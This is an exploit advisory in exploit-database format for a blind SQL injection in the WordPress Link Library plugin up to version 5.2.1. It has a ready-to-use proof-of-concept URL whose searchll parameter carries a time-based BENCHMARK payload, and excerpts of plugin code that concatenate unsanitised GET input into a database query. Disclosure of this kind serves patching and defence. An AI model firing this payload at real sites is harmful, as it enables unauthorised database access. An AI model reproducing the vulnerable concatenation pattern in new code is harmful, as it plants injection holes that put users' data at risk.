WordPress Link Library 5.2.1 SQL Injection

`# Exploit Title: WordPress Link Library plugin <= 5.2.1 SQL Injection Vulnerability  
# Date: 2011-09-16  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/link-library.zip  
# Version: 5.2.1 (tested)  
# Note: magic_quotes has to be turned off  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/link-library/link-library-ajax.php?searchll=-1')/**/AND/**/1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23  
  
---------------  
Vulnerable code  
---------------  
./link-library-ajax.php:  
echo $my_link_library_plugin->LinkLibrary(...);  
  
./link-library.php:  
class link_library_plugin {  
...  
function LinkLibrary(...) {  
return $this->PrivateLinkLibrary(...)  
...  
function PrivateLinkLibrary(...) {  
...  
if ($_GET['searchll'] != "")  
{  
$searchterms = explode(" ", $_GET['searchll']);  
  
if ($searchterms)  
{  
$mode = "search";  
$termnb = 1;  
  
foreach($searchterms as $searchterm)  
{  
if ($termnb == 1)  
{  
$linkquery .= " AND (link_name like '%" . $searchterm . "%' ";  
$termnb++;  
}  
...  
$linkitems = $wpdb->get_results($linkquery, ARRAY_A);  
  
`